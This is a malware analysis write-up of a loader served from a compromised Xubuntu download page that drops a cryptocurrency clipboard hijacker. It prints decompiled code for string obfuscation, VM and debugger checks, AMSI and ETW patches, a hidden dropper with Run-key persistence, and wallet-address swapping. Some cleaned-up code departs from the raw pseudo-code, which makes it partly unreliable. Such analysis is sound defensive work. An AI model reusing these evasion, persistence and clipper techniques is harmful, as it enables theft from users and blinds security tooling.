Background

The Xubuntu project’s official website was compromised, with attackers replacing legitimate torrent downloads with malicious payloads. This incident was first reported on Reddit and subsequently discussed across multiple platforms:

Initial discovery

The malicious payload presented itself as TestCompany.SafeDownloader with a GUI for generating download links for Xubuntu Linux distributions. A user reported:

“Torrent downloads over at https://xubuntu.org/download/ are serving a zip file with a suspicious exe and a tos.txt inside. The TOS starts with Copyright (c) 2026 Xubuntu.org which is sus, because it is 2025. I opened the .exe with file-roller and couldn’t find any .torrent inside.” pictures/JpkTCzh.png

Archive: Xubuntu-Safe-Download.zip

The loader

Using Detect It Easy (DiE) to analyze the executable revealed: DiE Analysis

The executable is a .NET application written in C#.

Using ILSpy, a .NET decompiler with support for PDB generation, I extracted the source code: ILSpy GUI

Using the GUI make the reversing easier but I’ll just stick to the command line for now since it’s a Windows only feature. After compiling ILSpy, I ran:

dotnet ICSharpCode.ILSpyCmd/bin/Debug/net10.0/ilspycmd.dll Xubuntu-Safe-Downloader.exe  > src.cs

The complete decompiled source is available here.

String obfuscation

The malware employs XOR-based string obfuscation with a key of 0xF7 (247):

byte k = 247;

string text = Xs("pI6Eg5Ka2bqWmZaQkpqSmYM=", k);
string text2 = Xs("pJKbkpSD193XkYWYmtegnpnExai0mJqHgoOShaSOhIOSmg==", k);
string text3 = Xs("upaZgpGWlIOChZKF", k);
string text4 = Xs("upiTkps=", k);

private static string Xs(string b, byte k)
{
    byte[] array = Convert.FromBase64String(b);
    for (int i = 0; i < array.Length; i++)
    {
        array[i] ^= k;
    }
    return Encoding.UTF8.GetString(array);
}

It’s easy enough to decode those strings with a quick python script:

import base64

k = 247

vals = [
    "pI6Eg5Ka2bqWmZaQkpqSmYM=",
    "pJKbkpSD193XkYWYmtegnpnExai0mJqHgoOShaSOhIOSmg==",
    "upaZgpGWlIOChZKF",
    "upiTkps="
]

for s in vals:
    data = base64.b64decode(s)
    decoded = bytes([b ^ k for b in data])
    try:
        print(s, ":", decoded.decode("utf-8"))
    except UnicodeDecodeError:
        print(s, ":", decoded)
pI6Eg5Ka2bqWmZaQkpqSmYM= : System.Management
pJKbkpSD193XkYWYmtegnpnExai0mJqHgoOShaSOhIOSmg== : Select * from Win32_ComputerSystem
upaZgpGWlIOChZKF : Manufacturer
upiTkps= : Model

There is another strings obfuscation algorithm used in the code, it’s the same as above, but it’s used to decrypt to string:

private static string Xs(string b, byte k)
{
    byte[] array = Convert.FromBase64String(b);
    for (int i = 0; i < array.Length; i++)
    {
        array[i] ^= k;
    }
    return Encoding.UTF8.GetString(array);
}
soOAsoGSmYOghZ6Dkg== : EtwEventWrite
tpqEnqSUlpm1gpGRkoU= : AmsiScanBuffer
oZ6Fg4KWm6eFmIOSlIM= : VirtualProtect

And this one to decrypt to uint32

private static uint Xu32(string b, byte k)
{
    return BitConverter.ToUInt32(Xb(b, k), 0);
}
import base64,struct

k=247
vals=["9/f3/w==", "9/f3tw==", "9ff39w==", "9ff39w==", "9vf3dw==", "8ff19w==", "9ff39w=="]

for s in vals:
    data=base64.b64decode(s)
    decoded = bytes([b ^ k for b in data])
    print(s, decoded, struct.unpack('<I', decoded)[0])
9/f3/w== b'\x00\x00\x00\x08' 134217728
9/f3tw== b'\x00\x00\x00@' 1073741824
9ff39w== b'\x02\x00\x00\x00' 2
9ff39w== b'\x02\x00\x00\x00' 2
9vf3dw== b'\x01\x00\x00\x80' 2147483649
8ff19w== b'\x06\x00\x02\x00' 131078
9ff39w== b'\x02\x00\x00\x00' 2

Anti-analysis measures

Virtual machine detection

The malware checks for common virtualization indicators through WMI:

private static bool IsVM()
{
    try
    {
        using (var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_ComputerSystem"))
        using (var results = searcher.Get())
        {
            foreach (var item in results)
            {
                string manufacturer = (item["Manufacturer"]?.ToString() ?? "").ToLower();
                string model = (item["Model"]?.ToString() ?? "").ToLower();

                if ((manufacturer.Contains("microsoft corporation") && model.Contains("virtual")) ||
                    manufacturer.Contains("vmware") ||
                    model.Contains("virtualbox") ||
                    manufacturer.Contains("qemu") ||
                    manufacturer.Contains("parallels"))
                {
                    return true;
                }
            }
        }
    }
    catch
    {
    }

    return false;
}

Debugger detection

The malware checks for debuggers using both managed and native methods:

private static bool CheckDebugger()
{
    if (Debugger.IsAttached)
        return true;

    try
    {
        IntPtr kernel32 = GetModuleHandle("kernel32");
        if (kernel32 != IntPtr.Zero)
        {
            IntPtr addr = GetProcAddress(kernel32, "IsDebuggerPresent");
            if (addr != IntPtr.Zero)
            {
                var isDebuggerPresent =
                    (IsDebuggerPresentDelegate)Marshal.GetDelegateForFunctionPointer(addr, typeof(IsDebuggerPresentDelegate));
                return isDebuggerPresent();
            }
        }
    }
    catch
    {
    }

    return false;
}

public static void AntiAnalysis()
{
    if (CheckDebugger() || IsVM())
    {
        Environment.Exit(0);
    }
}

The CheckDebugger method uses:

  • Debugger.IsAttached for managed debuggers
  • IsDebuggerPresent from kernel32.dll for native debuggers
  • WMI queries for Hyper-V, VMware, VirtualBox, QEMU, and Parallels

AMSI bypass

Inside the payload dropping function, before writing the payload to disk, the code patches AmsiScanBuffer in amsi.dll to disable AMSI scanning:

try
{
    IntPtr amsiLibraryHandle = LoadLibrary("amsi.dll");
    if (amsiLibraryHandle != IntPtr.Zero)
    {
        IntPtr amsiScanBufferAddress = GetProcAddress(amsiLibraryHandle, "AmsiScanBuffer"); // Get the address of AmsiScanBuffer function
        if (amsiScanBufferAddress != IntPtr.Zero)
        {
            IntPtr virtualProtectAddress = GetProcAddress(GetModuleHandle("kernel32"), "VirtualProtect"); // Get the address of VirtualProtect function
            if (virtualProtectAddress != IntPtr.Zero)
            {
                VirtualProtectDelegate virtualProtectDelegate = 
                    (VirtualProtectDelegate)Marshal.GetDelegateForFunctionPointer(virtualProtectAddress, typeof(VirtualProtectDelegate));

                byte[] byteArray = Xb("xjc0", 247);
                UIntPtr byteArraySize = (UIntPtr)(ulong)byteArray.Length;

                // Change memory protection to allow modification (writeable/executable)
                if (virtualProtectDelegate(amsiScanBufferAddress, byteArraySize, 64u, out var oldProtect))
                {
                    // Patch the function
                    Marshal.Copy(byteArray, 0, amsiScanBufferAddress, byteArray.Length);

                    // Restore the original memory protection
                    virtualProtectDelegate(amsiScanBufferAddress, byteArraySize, oldProtect, out oldProtect);
                }
            }
        }
    }
}
catch

Once decoded Xb("xjc0", 247) produces the byte array b'\x31\xC0\xC3' which corresponds to the assembly instructions:

import base64
def Xb(b, k):
    array = bytearray(base64.b64decode(b))
    for i in range(len(array)):
        array[i] ^= k
    return bytes(array)

result = Xb("xjc0", 247)
print([f"0x{byte:02X}" for byte in result])
['31', 'C0', 'C3']

Assembly instructions:

31 C0    xor eax, eax    ; Clear EAX (set to 0)
C3       ret             ; Return from function

This forces AmsiScanBuffer to always return 0, effectively disabling AMSI scanning.

ETW bypass

The malware also patches EtwEventWrite in ntdll.dll to disable ETW event logging:

try
{
    IntPtr ntdllHandle = LoadLibrary("ntdll");
    if (ntdllHandle != IntPtr.Zero)
    {
        // Look up the ETW write function
        IntPtr etwEventWriteAddr = GetProcAddress(ntdllHandle, "EtwEventWrite");
        if (etwEventWriteAddr != IntPtr.Zero)
        {
            // Get the address of VirtualProtect from kernel32
            IntPtr virtualProtectAddr = GetProcAddress(GetModuleHandle("kernel32"), "VirtualProtect");
            if (virtualProtectAddr != IntPtr.Zero)
            {
                // Create a delegate so we could call VirtualProtect
                VirtualProtectDelegate virtualProtect = 
                    (VirtualProtectDelegate)Marshal.GetDelegateForFunctionPointer(virtualProtectAddr, typeof(VirtualProtectDelegate));
                byte[] patchBytes = new byte[] { 0xC3 }; // 195 decimal == 0xC3

                UIntPtr patchSize = (UIntPtr)(ulong)patchBytes.Length;

                virtualProtect(etwEventWriteAddr, patchSize, PAGE_EXECUTE_READWRITE, out oldProtect); // Change memory protection to allow writing
                Marshal.Copy(patchBytes, 0, etwEventWriteAddr, patchBytes.Length); // Apply the patch
                virtualProtect(etwEventWriteAddr, patchSize, oldProtect, out oldProtect); // Restore original protection
            }
        }
    }
}
catch

The single byte 0xC3 (RET instruction) turns EtwEventWrite into a no-op, disabling ETW telemetry.

Payload deployment

Dropping mechanism

The critical malicious code is in the W.UnPRslEqVw() method : The main payload is an embedded PE file that is XOR-decoded and written to disk:

try
{
    string appFolderName = "osn10963";
    string fileName = "elzvcf.exe";
    string runKeyPath = @"Software\Microsoft\Windows\CurrentVersion\Run";
    uint fileAttributesToSet = 2; // Hidden attribute

    // Build target paths under %APPDATA%
    string appDataFolder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
    string targetFolder = Path.Combine(appDataFolder, appFolderName);
    string tempFilePath = Path.Combine(targetFolder, fileName.Replace(".exe", ".tmp"));
    string finalFilePath = Path.Combine(targetFolder, fileName);

    if (!File.Exists(finalFilePath))
    {
        byte[] data = Xb("PAYLOAD", k);

        CreateDirectoryNative(targetFolder);
        WriteFileNative(tempFilePath, data);
        SetAttributesNative(tempFilePath, attributes);
        MoveFileNative(tempFilePath, finalFilePath);
        SetAttributesNative(finalFilePath, attributes);
        SetAttributesNative(targetFolder, attributes);
        NativeDelay(new Random().Next(1, 3));
        SetRegistryPersistence(finalFilePath, regPath);
    }
}

The payload is dropped to %APPDATA%\osn10963\elzvcf.exe with the hidden attribute set on both the file and its containing directory.

Here is the deployment process:

  1. CreateDirectoryNative(): creates hidden folder
  2. WriteFileNative(): writes to .tmp file first
  3. SetAttributesNative: hides .tmp file
  4. MoveFileNative(): atomic rename to .exe
  5. SetAttributesNative: hides final executable
  6. SetAttributesNative: hides containing folder

The .tmp to .exe transition reduces the detection window, as some antivirus solutions ignore temporary files during write operations.

Persistence mechanism

The malware establishes persistence by adding a registry entry to auto-run the dropped executable at user login: It establishes persistence by writing a REG_SZ entry under HKCU\Software\Microsoft\Windows\CurrentVersion\Run via the native NtSetValueKey API, using a randomized 6‑character GUID as the value name (followed by two null bytes and the literal NullValue) whose data is the full path to the dropped executable, making detection rules harder to implement.

Native payload analysis

Decoding the large embedded payload blob with the same Python script produced a 10 KB PE executable.

Running DiE on the executable shows: pictures/payload.png

This one is written in native C/C++, unlike the loader which is C#/.NET. Let open it in IDA Pro!

Here is the raw pseudo-code start function of the payload:

See the raw pseudo code
__int64 __fastcall start(HINSTANCE hInstance)
{
  // Variable declarations

  ModuleHandleA = GetModuleHandleA(ModuleName);
  v3 = ModuleHandleA;
  if ( !ModuleHandleA )
    return 1;
  NtQuerySystemInformation = (NTSTATUS (__stdcall *)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(ModuleHandleA, ProcName);
  NtProtectVirtualMemory = (NTSTATUS (__stdcall *)(HANDLE, PVOID *, SIZE_T *, ULONG, PULONG))GetProcAddress(
                                                                                               v3,
                                                                                               aNtprotectvirtu);
  NtCreateMutant = (NTSTATUS (__stdcall *)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, BOOLEAN))GetProcAddress(
                                                                                                v3,
                                                                                                aNtcreatemutant);
  NtDelayExecution = (NTSTATUS (__stdcall *)(BOOLEAN, LARGE_INTEGER *))GetProcAddress(v3, aNtdelayexecuti);
  NtQuerySystemTime = (NTSTATUS (__stdcall *)(PLARGE_INTEGER))GetProcAddress(v3, aNtquerysystemt);
  NtClose = (NTSTATUS (__stdcall *)(HANDLE))GetProcAddress(v3, aNtclose);
  qword_1400040E8 = (__int64)NtClose;
  if ( !NtQuerySystemInformation
    || !NtProtectVirtualMemory
    || !NtCreateMutant
    || !NtDelayExecution
    || !NtQuerySystemTime
    || !NtClose )
  {
    return 1;
  }
  si128 = (__m128)_mm_load_si128((const __m128i *)&xmmword_1400032E0);
  v6 = 0;
  *(__m128 *)&SourceString = _mm_xor_ps(si128, (__m128)xmmword_140006000);
  v7 = 13;
  xmmword_140004110 = (__int128)_mm_xor_ps(si128, (__m128)xmmword_140006010);
  do
  {
    v8 = aTSH[v6];
    *((_BYTE *)&SourceString + ++v6 + 31) = v8 ^ 0x15;
    --v7;
  }
  while ( v7 );
  byte_14000412D = 0;
  v26 = 0;
  v30[1] = 0;
  DestinationString = 0;
  v34 = 0;
  RtlInitUnicodeString(&DestinationString, &SourceString);
  v30[0] = 48;
  p_DestinationString = &DestinationString;
  LOBYTE(v9) = 1;
  v31 = 0;
  v33 = 64;
  v35 = 0;
  if ( (unsigned int)((__int64 (__fastcall *)(LSTATUS (__stdcall **)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY), __int64, _DWORD *, __int64))NtCreateMutant)(
                       &v26,
                       2031617,
                       v30,
                       v9) == -1073741771 )
    ExitProcess(0);
  v27 = -10000000;
  ((void (__fastcall *)(__int64 *))NtQuerySystemTime)(&v28);
  ((void (__fastcall *)(_QWORD, __int64 *))NtDelayExecution)(0, &v27);
  ((void (__fastcall *)(__int64 *))NtQuerySystemTime)(&v25);
  if ( v25 - v28 < 9000000 )
    ExitProcess(0);
  sub_140001580();
  if ( IsDebuggerPresent() )
    goto LABEL_16;
  _RAX = 1;
  __asm { cpuid }
  HIDWORD(v25) = _RBX;
  v26 = (LSTATUS (__stdcall *)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY))__PAIR64__(_RDX, _RCX);
  if ( (int)_RAX < 0 )
  {
LABEL_16:
    LODWORD(v25) = 0;
    for ( i = 0; i < 100000; ++i )
    {
      v16 = i ^ (2 * v25);
      LODWORD(v25) = v16 + v25;
    }
  }
  v26 = RegOpenKeyExA;
  v28 = 8;
  CurrentProcess = GetCurrentProcess();
  ((void (__fastcall *)(HANDLE, LSTATUS (__stdcall **)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY), __int64 *, __int64, __int64 *))NtProtectVirtualMemory)(
    CurrentProcess,
    &v26,
    &v28,
    4,
    &v25);
  v18 = GetModuleHandleA(aNtdllDll_1);
  EtwEventWrite = GetProcAddress(v18, aEtweventwrite);
  v20 = EtwEventWrite;
  if ( EtwEventWrite )
  {
    v26 = (LSTATUS (__stdcall *)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY))EtwEventWrite;
    v27 = 4;
    v21 = GetCurrentProcess();
    if ( (int)((__int64 (__fastcall *)(HANDLE, LSTATUS (__stdcall **)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY), __int64 *, __int64, __int64 *))NtProtectVirtualMemory)(
                v21,
                &v26,
                &v27,
                64,
                &v25) >= 0 )
    {
      *v20 = -61;
      v22 = GetCurrentProcess();
      ((void (__fastcall *)(HANDLE, LSTATUS (__stdcall **)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY), __int64 *, _QWORD, __int64 *))NtProtectVirtualMemory)(
        v22,
        &v26,
        &v27,
        (unsigned int)v25,
        &v25);
    }
  }
  *(_QWORD *)&v36.cbSize = 80;
  v36.lpfnWndProc = (WNDPROC)sub_1400014A0;
  *(_QWORD *)&v36.cbClsExtra = 0;
  LOBYTE(SourceString) = byte_140006030 ^ 0x15;
  memset(&v36.hIcon, 0, 32);
  HIBYTE(SourceString) = byte_140006031 ^ 0x15;
  *((_BYTE *)&SourceString + 2) = byte_140006032 ^ 0x15;
  v36.hIconSm = 0;
  *((_BYTE *)&SourceString + 3) = byte_140006033 ^ 0x15;
  v36.hInstance = hInstance;
  *((_BYTE *)&SourceString + 4) = byte_140006034 ^ 0x15;
  *(WCHAR *)((char *)&SourceString + 5) = (unsigned __int8)byte_140006035 ^ 0x15;
  v36.lpszClassName = (LPCSTR)&SourceString;
  if ( !RegisterClassExA(&v36) )
    return 1;
  Window = CreateWindowExA(0, v36.lpszClassName, 0, 0, 0, 0, 0, 0, HWND_MESSAGE, 0, hInstance, 0);
  AddClipboardFormatListener(Window);
  while ( GetMessageA(&Msg, 0, 0, 0) )
  {
    TranslateMessage(&Msg);
    DispatchMessageA(&Msg);
    sub_140001DB0();
  }
  return 0;
}

Here is a cleaned up version of the pseudo-code:

__int64 __fastcall start(HINSTANCE hInstance)
{
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (!ntdll)
        return 1;

    pNtQuerySystemInformation NtQuerySystemInformation = 
        (pNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    pNtProtectVirtualMemory NtProtectVirtualMemory = 
        (pNtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory");
    pNtCreateMutant NtCreateMutant = 
        (pNtCreateMutant)GetProcAddress(ntdll, "NtCreateMutant");
    pNtDelayExecution NtDelayExecution = 
        (pNtDelayExecution)GetProcAddress(ntdll, "NtDelayExecution");
    pNtQuerySystemTime NtQuerySystemTime = 
        (pNtQuerySystemTime)GetProcAddress(ntdll, "NtQuerySystemTime");
    pNtClose NtClose = 
        (pNtClose)GetProcAddress(ntdll, "NtClose");

    if (!NtQuerySystemInformation || !NtProtectVirtualMemory ||
        !NtCreateMutant || !NtDelayExecution ||
        !NtQuerySystemTime || !NtClose)
    {
        return 1;
    }

    // Decode obfuscated string for mutant name
    char mutantName[64] = {0};
    for (int i = 0; i < 13; i++)
        mutantName[i] = aTSH[i] ^ 0x15;

    UNICODE_STRING unicodeMutant;
    RtlInitUnicodeString(&unicodeMutant, mutantName);

    HANDLE hMutant = NULL;
    NTSTATUS status = NtCreateMutant(&hMutant, MUTANT_ALL_ACCESS, NULL, TRUE);

    if (status == STATUS_OBJECT_NAME_EXISTS)
        ExitProcess(0);

    // Simple anti-debug timing check
    LARGE_INTEGER timeStart, timeEnd, delay;
    delay.QuadPart = -10000000;  // 1 second delay

    NtQuerySystemTime(&timeStart);
    NtDelayExecution(FALSE, &delay);
    NtQuerySystemTime(&timeEnd);

    if (timeEnd.QuadPart - timeStart.QuadPart < 9000000)
        ExitProcess(0);

    sub_140001580(); // Some initialization (unknown)

    // anti-VM / anti-debug heuristic
    if (IsDebuggerPresent())
        goto slow_loop;

    unsigned int eax, ebx, ecx, edx;
    __cpuid((int*)&eax, 0);

    if ((int)eax < 0)
    {
slow_loop:
        int acc = 0;
        for (int i = 0; i < 100000; ++i)
            acc += (i ^ (2 * acc));
    }

    // Disable ETW by patching EtwEventWrite
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pEtwEventWrite = (BYTE*)GetProcAddress(hNtdll, "EtwEventWrite");
    if (pEtwEventWrite)
    {
        SIZE_T size = 4;
        ULONG oldProtect;
        HANDLE proc = GetCurrentProcess();

        if (NtProtectVirtualMemory(proc, (PVOID*)&pEtwEventWrite, &size, PAGE_EXECUTE_READWRITE, &oldProtect) >= 0)
        {
            *pEtwEventWrite = 0xC3; // ret
            NtProtectVirtualMemory(proc, (PVOID*)&pEtwEventWrite, &size, oldProtect, &oldProtect);
        }
    }

    // Register hidden window for clipboard monitoring
    WNDCLASSEXA wc = {0};
    wc.cbSize = sizeof(wc);
    wc.lpfnWndProc = (WNDPROC)sub_1400014A0;
    wc.hInstance = hInstance;
    wc.lpszClassName = "HiddenWndClass";
    if (!RegisterClassExA(&wc))
        return 1;

    HWND hwnd = CreateWindowExA(
        0, wc.lpszClassName, NULL,
        0, 0, 0, 0, 0,
        HWND_MESSAGE, NULL, hInstance, NULL);

    AddClipboardFormatListener(hwnd);

    // Message loop
    MSG msg;
    while (GetMessageA(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessageA(&msg);
        sub_140001DB0(); // Some periodic background task
    }

    return 0;
}

Time-wasting function

Taking a quick look at sub_140001580:

__int64 sub_140001580()
{
  // Variable declarations

  X = 3.141592653589793;
  for ( i = 0; i < 1000; ++i )
  {
    v4 = log(X);
    v1 = pow(X, 2.0);
    X = tan(v4 * v1);
    result = (unsigned int)(i + 1);
  }
  return result;
}

It performs 1000 iterations of X = tan(log(X) * X²). That is expensive, useful as a time-waster or anti-analysis delay. It is the same kind of thing used in the slow_loop above once a debugger is detected.

Note that this program is also patching ETW to disable telemetry, just like the loader did.

Integrity check function

At the end of start there is a periodic call to sub_140001DB0:

See the raw pseudo code
HMODULE sub_140001DB0()
{
  // Variable declarations

  result = GetModuleHandleA(0);
  if ( result )
  {
    if ( *(_WORD *)result == 23117 )
    {
      v1 = (char *)result + *((int *)result + 15);
      if ( *(_DWORD *)v1 == 17744 )
      {
        result = 0;
        v2 = *((_DWORD *)v1 + 7);
        v3 = 0;
        v4 = 0;
        v5 = *((_QWORD *)v1 + 6);
        v6 = 0;
        v7 = 0;
        if ( v2 )
        {
          if ( ((v2 + 1) & 0xFFFFFFFE) < 4 )
            goto LABEL_8;
          do
          {
            v3 += *(unsigned __int8 *)(v7 + v5);
            v4 += *(unsigned __int8 *)(v7 + 2 + v5);
            v7 += 4;
          }
          while ( v7 < v2 - 2 );
          if ( v7 < v2 )
LABEL_8:
            v6 = *(unsigned __int8 *)(v7 + v5);
          v6 += v4 + v3;
        }
        v8 = *((_DWORD *)v1 + 22);
        if ( v8 && v6 != v8 )
        {
          v10 = 0;
          do
          {
            v9 = (_DWORD)result + v10;
            result = (HMODULE)(unsigned int)((_DWORD)result + 1);
            v10 = v9;
          }
          while ( (int)result < 100000 );
        }
      }
    }
  }
  return result;
}

Here is a cleaned up version of the code:

HMODULE sub_140001DB0(void)
{
    HMODULE hBase = GetModuleHandleA(NULL); // base of current module
    if (!hBase)
        return NULL;
    
    if (*(WORD *)hBase != 0x5A4D) // Check 'MZ' DOS header
        return hBase;

    BYTE *peHeader = (BYTE *)hBase + *((DWORD *)hBase + 15);
    if (*(DWORD *)peHeader != 0x00004550) // Check 'PE\0\0' signature
        return hBase;

    DWORD length = *((DWORD *)peHeader + 7);
    uint8_t *dataStart = (uint8_t *)*((uintptr_t *)peHeader + 6);

    // Compute a small checksum across bytes at dataStart
    DWORD acc0 = 0;
    DWORD acc1 = 0;
    int lastByte = 0;
    if (length)
    {
        DWORD idx = 0;
        while (idx + 2 < length)
        {
            acc0 += *(uint8_t *)(dataStart + idx);
            acc1 += *(uint8_t *)(dataStart + idx + 2);
            idx += 4;
        }
        if (idx < length)
            lastByte = *(uint8_t *)(dataStart + idx);

        lastByte += acc0 + acc1;
    }

    // The stored checksum *((DWORD*)peHeader + 22)
    DWORD expected = *((DWORD *)peHeader + 22);

    // If mismatch, perform the weird addition loop
    if (expected && (DWORD)lastByte != expected)
    {
        unsigned int ret = 0;
        unsigned int acc = 0;
        while ((int)ret < 100000)
        {
            unsigned int tmp = ret + acc;
            ret = ret + 1;
            acc = tmp;
        }
        return (HMODULE)(uintptr_t)ret;
    }

    return hBase;
}

This function is another obfuscated routine that checks the running module’s PE headers and computes a tiny checksum over some bytes in the image. If the checksum doesn’t match a stored value it performs a pointless loop, once again serving as an anti-tampering or anti-analysis measure.

Clipboard hijacking mechanism

Window procedure

That last function called in the start function is the window procedure sub_1400014A0 which processes clipboard events:

See the raw pseudo code
LRESULT __fastcall sub_1400014A0(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
  // Variable declarations

  if ( a2 == 797 )
  {
    sub_140001DB0();  // checksum
    NtQuerySystemTime(v16);
    if ( (unsigned __int64)(v16[0].QuadPart - qword_140004200) > 0x11E1A300 )
    {
      if ( IsDebuggerPresent() )
        goto LABEL_5;
      _RAX = 1;
      __asm { cpuid }
      v16[0].QuadPart = __PAIR64__(_RDX, _RCX);
      if ( (int)_RAX < 0 )
      {
LABEL_5:
        v13 = 0;
        v17 = 0;
        do
        {
          v14 = v13++ ^ (2 * v17);
          v17 += v14;
        }
        while ( v13 < 100000 );
      }
      qword_140004200 = v16[0].QuadPart;
    }
    sub_1400016B0();
  }
  return DefWindowProcA(a1, a2, a3, a4);
}

Here is a cleaned up version of the code:

LRESULT CALLBACK sub_1400014A0(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    const UINT WM_CLIPBOARDUPDATE = 0x031D;  // 797 in decimal
    const UINT64 TIME_THRESHOLD = 0x11E1A300;  // 5 seconds
    
    if (message == WM_CLIPBOARDUPDATE)
    {
        sub_140001DB0(); // Integrity check
        
        // Get current system time
        LARGE_INTEGER currentTime;
        NtQuerySystemTime(&currentTime);
        
        // Rate limiting
        if ((UINT64)(currentTime.QuadPart - g_lastCheckTime.QuadPart) > TIME_THRESHOLD)
        {
            if (!IsDebuggerPresent()) // Anti-debugging checks
            {
                int cpuInfo[4]; // Anti-debugging check: CPUID hypervisor bit check
                __cpuid(cpuInfo, 1);
                
                if ((cpuInfo[2] & 0x80000000) == 0) // Check bit 31 of ECX (hypervisor present bit)
                {
                    // Time-wasting loop
                    int checksum = 0;
                    for (int i = 0; i < 100000; i++)
                    {
                        int xorValue = i ^ (2 * checksum);
                        checksum += xorValue;
                    }
                }
            }
            
            g_lastCheckTime = currentTime;
        }
        sub_1400016B0(); // Process clipboard
    }
    
    return DefWindowProcA(hwnd, message, wParam, lParam);
}

This window procedure listens for clipboard update messages. When the clipboard is updated, it performs another anti-debugging check using IsDebuggerPresent and CPUID hypervisor bit. If no debugger or hypervisor is detected, it calls sub_1400016B0 to process the clipboard content.

Clipboard processing

Here is a cleaned up version of sub_1400016B0 which processes the clipboard content:

BOOL sub_1400016B0(void)
{
    if (!IsClipboardFormatAvailable(CF_UNICODETEXT) && 
        !IsClipboardFormatAvailable(CF_TEXT)) // Check if clipboard contains Unicode or ANSI text
    {
        return FALSE;
    }
    
    if (!OpenClipboard(NULL)) // Open clipboard for reading
    {
        return FALSE;
    }
    
    // Get clipboard text data
    HANDLE clipboardHandle = GetClipboardData(CF_TEXT);
    if (!clipboardHandle)
    {
        CloseClipboard();
        return FALSE;
    }
    
    // Lock clipboard memory
    const char* clipboardText = (const char*)GlobalLock(clipboardHandle);
    if (!clipboardText)
    {
        CloseClipboard();
        return FALSE;
    }
    
    // Calculate string length
    size_t textLength = 0;
    while (clipboardText[textLength] != '\0')
    {
        textLength++;
    }
    
    // Validate address length (between 26 and 87 characters)
    const size_t MIN_ADDRESS_LENGTH = 26;
    const size_t MAX_ADDRESS_LENGTH = 87;
    if (textLength < MIN_ADDRESS_LENGTH || textLength > MAX_ADDRESS_LENGTH)
    {
        GlobalUnlock(clipboardHandle);
        CloseClipboard();
        return FALSE;
    }
    
    // Validate that address contains only alphanumeric, colon, and underscore
    for (size_t i = 0; i < textLength; i++)
    {
        if (!isalnum(clipboardText[i]) && 
            clipboardText[i] != ':' && 
            clipboardText[i] != '_')
        {
            GlobalUnlock(clipboardHandle);
            CloseClipboard();
            return FALSE;
        }
    }
    
    WCHAR* replacementAddress = NULL;
    char firstChar = clipboardText[0];
    
    // Detect cryptocurrency address type and generate replacement
    
    // Bitcoin (starts with '1', '3', or 'bc1')
    if ((firstChar == '1' || firstChar == '3') || strncmp(clipboardText, "bc1", 3) == 0)
    {
        replacementAddress = DecryptAndBuildAddress(
            (void*)0x1400031A0,  // Encrypted address data
            0x15,                 // XOR key
            10                    // Additional bytes
        );
    }
    // Litecoin (starts with 'ltc1', 'L', or 'M')
    else if (strncmp(clipboardText, "ltc1", 4) == 0 || 
             firstChar == 'L' || firstChar == 'M')
    {
        replacementAddress = DecryptAndBuildAddress((void*)0x140003140, 0x15, 2);
    }
    // Ethereum (starts with '0x')
    else if (strncmp(clipboardText, "0x", 2) == 0)
    {
        replacementAddress = DecryptAndBuildAddress((void*)0x140003240, 0x15, 10);
    }
    // Dogecoin (starts with 'D')
    else if (firstChar == 'D')
    {
        replacementAddress = DecryptAndBuildAddress((void*)0x1400032A0, 0x15, 2);
    }
    // Tron (starts with 'T')
    else if (firstChar == 'T')
    {
        replacementAddress = DecryptAndBuildAddress((void*)0x140003270, 0x15, 2);
    }
    // Ripple (starts with 'r')
    else if (firstChar == 'r')
    {
        replacementAddress = DecryptAndBuildAddress((void*)0x140003110, 0x15, 2);
    }
    // Legacy address format (starts with 'addr1')
    else if (strncmp(clipboardText, "addr1", 5) == 0)
    {
        replacementAddress = ConvertLegacyAddress(0x1400031D0, 0x67);
        if (!replacementAddress)
        {
            GlobalUnlock(clipboardHandle);
            CloseClipboard();
            return FALSE;
        }
    }
    // Default/unknown cryptocurrency
    else
    {
        replacementAddress = DecryptAndBuildAddress((void*)0x140003170, 0x15, 12);
    }
    
    // Clear clipboard
    EmptyClipboard();
    
    // Calculate length of replacement address
    size_t replacementLength = 0;
    while (((char*)replacementAddress)[replacementLength] != '\0')
    {
        replacementLength++;
    }
    
    // Allocate memory for new clipboard data
    HGLOBAL newClipboardHandle = GlobalAlloc(GMEM_MOVEABLE, replacementLength + 1);
    if (!newClipboardHandle)
    {
        GlobalUnlock(clipboardHandle);
        CloseClipboard();
        return FALSE;
    }
    
    // Copy replacement address to new clipboard buffer
    char* newClipboardData = (char*)GlobalLock(newClipboardHandle);
    if (newClipboardData)
    {
        memcpy(newClipboardData, replacementAddress, replacementLength + 1);
        GlobalUnlock(newClipboardHandle);
        
        SetClipboardData(CF_TEXT, newClipboardHandle);
    }
    
    // Cleanup
    GlobalUnlock(clipboardHandle);
    CloseClipboard();
    
    return TRUE;
}

This function monitors the clipboard for cryptocurrency addresses. When it detects a valid address format (Bitcoin, Litecoin, Ethereum, Dogecoin, Tron, Ripple, or a legacy format), it generates a replacement address by decrypting embedded data. It then replaces the clipboard content with the attacker’s address.

Here’s the decryption logic for the Bitcoin address:

if (((*v4 - 49) & 0xFD) == 0 || !strncmp(v4, Str2, 3u))
{
    si128 = (__m128)_mm_load_si128((const __m128i *)&xmmword_1400032E0);
    v9 = &SourceString;
    v35 = 0;
    v36 = 10;
    *(__m128 *)&SourceString = _mm_xor_ps(si128, (__m128)xmmword_1400031A0);
    xmmword_140004110 = (__int128)_mm_xor_ps(si128, (__m128)xmmword_1400031B0);
    
    do
    {
        v37 = aVxDC[v35];
        *((_BYTE *)&SourceString + ++v35 + 31) = v37 ^ 0x15;
        --v36;
    }
    while (v36);
}

